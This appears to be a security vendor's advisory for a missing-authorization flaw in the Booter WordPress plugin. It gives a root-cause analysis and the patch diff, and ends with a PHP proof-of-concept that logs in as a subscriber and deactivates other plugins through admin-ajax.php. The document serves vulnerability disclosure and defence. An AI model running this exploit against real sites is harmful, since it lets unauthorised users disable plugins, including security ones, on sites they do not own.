Atomic Edge analysis of CVE-2026-24534:
The Booter WordPress plugin, versions up to and including 1.5.7, contains a missing authorization vulnerability in its AJAX handlers. This flaw allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized administrative actions, leading to a privilege escalation scenario with a CVSS score of 4.3.
Atomic Edge research identifies the root cause as a missing capability check within the `disable_404_plugins` function in the file `/includes/AjaxHandlers.php`. The vulnerable function, starting at line 25, performed only a nonce verification via `check_ajax_referer(‘booter-notices’)`. This nonce check does not validate user permissions. The function processed a `slugs` POST parameter to deactivate other plugins, an action that requires the `activate_plugins` capability. The same missing authorization pattern existed in the `ajax_download_disavow_list` and `ajax_get_bad_robots_list` functions, which required the `manage_options` capability.
Exploitation requires an attacker to possess a valid WordPress account with at least subscriber-level access. The attacker crafts a POST request to the standard WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`. The request must include the parameter `action` with the value `booter_disable_404_plugins` to hook into the vulnerable function. The request must also include a valid nonce for `booter-notices` and the `slugs` parameter containing an array of plugin directory slugs to deactivate. An attacker can obtain the required nonce from plugin admin notices rendered to lower-privileged users.
The patch in version 1.5.8 adds mandatory capability checks before executing the core logic of each affected AJAX function. In `disable_404_plugins` (line 27), the patch adds `if ( ! current_user_can( ‘activate_plugins’ ) )`. For `ajax_download_disavow_list` (line 49) and `ajax_get_bad_robots_list` (line 74), the patch adds `if ( ! current_user_can( ‘manage_options’ ) )`. These checks ensure only users with administrator privileges can perform the respective actions. The patch also includes unrelated security hardening in `Log404.php`, such as input sanitization for `REQUEST_URI` and email addresses.
Successful exploitation allows a low-privileged authenticated user to deactivate arbitrary plugins on the site via the `disable_404_plugins` function. This can disrupt site functionality, disable security plugins, and facilitate further attacks. The `ajax_download_disavow_list` and `ajax_get_bad_robots_list` functions, if exploited, could allow unauthorized data retrieval of internal plugin lists, potentially aiding reconnaissance.
--- a/booter-bots-crawlers-manager/booter-crawlers-manager.php
+++ b/booter-bots-crawlers-manager/booter-crawlers-manager.php
@@ -7,7 +7,7 @@
Author URI: https://www.upress.io
Text Domain: booter
Domain Path: /languages
- Version: 1.5.7
+ Version: 1.5.8
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
--- a/booter-bots-crawlers-manager/includes/AjaxHandlers.php
+++ b/booter-bots-crawlers-manager/includes/AjaxHandlers.php
@@ -25,6 +25,10 @@
function disable_404_plugins() {
check_ajax_referer('booter-notices' );
+ if ( ! current_user_can( 'activate_plugins' ) ) {
+ wp_send_json_error( __( 'Sorry, you are not allowed to access this page.' ) );
+ }
+
$slugs = isset( $_POST['slugs'] ) ? $_POST['slugs'] : [];
$slugs = array_map( 'sanitize_key', $slugs );
$slugs = array_filter( $slugs );
@@ -43,6 +47,10 @@
wp_die( __( 'Sorry, you are not allowed to access this page.' ) );
}
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_die( __( 'Sorry, you are not allowed to access this page.' ) );
+ }
+
set_transient( 'booter_disavow_list_downloaded_at', time() );
$referers = Utilities::get_bad_referers();
@@ -64,6 +72,10 @@
function ajax_get_bad_robots_list() {
check_ajax_referer( 'booter-options' );
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( __( 'Sorry, you are not allowed to access this page.' ) );
+ }
+
wp_send_json( Utilities::get_bad_robots() );
}
--- a/booter-bots-crawlers-manager/includes/Log404.php
+++ b/booter-bots-crawlers-manager/includes/Log404.php
@@ -117,7 +117,7 @@
public static function log() {
global $wpdb;
- $url = $_SERVER['REQUEST_URI'];
+ $url = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_url( $_SERVER['REQUEST_URI'] ) : '';
$updated_at = current_time( 'mysql', true );
$dbname = $wpdb->prefix . BOOTER_404_DB_TABLE;
@@ -156,7 +156,7 @@
return;
}
- $email = !empty( $settings['report_email'] ) ? $settings['report_email'] : get_option( 'admin_email' );
+ $email = sanitize_email( !empty( $settings['report_email'] ) ? $settings['report_email'] : get_option( 'admin_email' ) );
$dbname = $wpdb->prefix . BOOTER_404_DB_TABLE;
$homepage = site_url();
$site_name = get_bloginfo( 'name' );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24534 - Booter <= 1.5.7 - Missing Authorization
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// Step 1: Authenticate to WordPress and obtain session cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
// Step 2: Perform a login to get a valid authenticated session.
// This example uses a simple POST to wp-login.php. Adjust based on site configuration.
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$post_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
// Step 3: Navigate to a page where the Booter plugin renders a notice to obtain a nonce.
// The nonce 'booter-notices' is required for the exploit.
// This often appears on the plugin's settings page or dashboard.
// For this PoC, we assume the nonce is fetched from a known page. In a real test, parse the HTML.
$nonce = 'EXTRACTED_NONCE'; // Replace with a nonce extracted from page HTML.
// Step 4: Craft the exploit payload to deactivate a target plugin.
// The 'slugs' parameter expects an array of plugin directory slugs.
$exploit_payload = [
'action' => 'booter_disable_404_plugins',
'_ajax_nonce' => $nonce,
'slugs' => ['akismet', 'hello-dolly'] // Example plugin slugs to deactivate.
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
$exploit_response = curl_exec($ch);
curl_close($ch);
echo "Exploit Response:n";
echo $exploit_response;
?>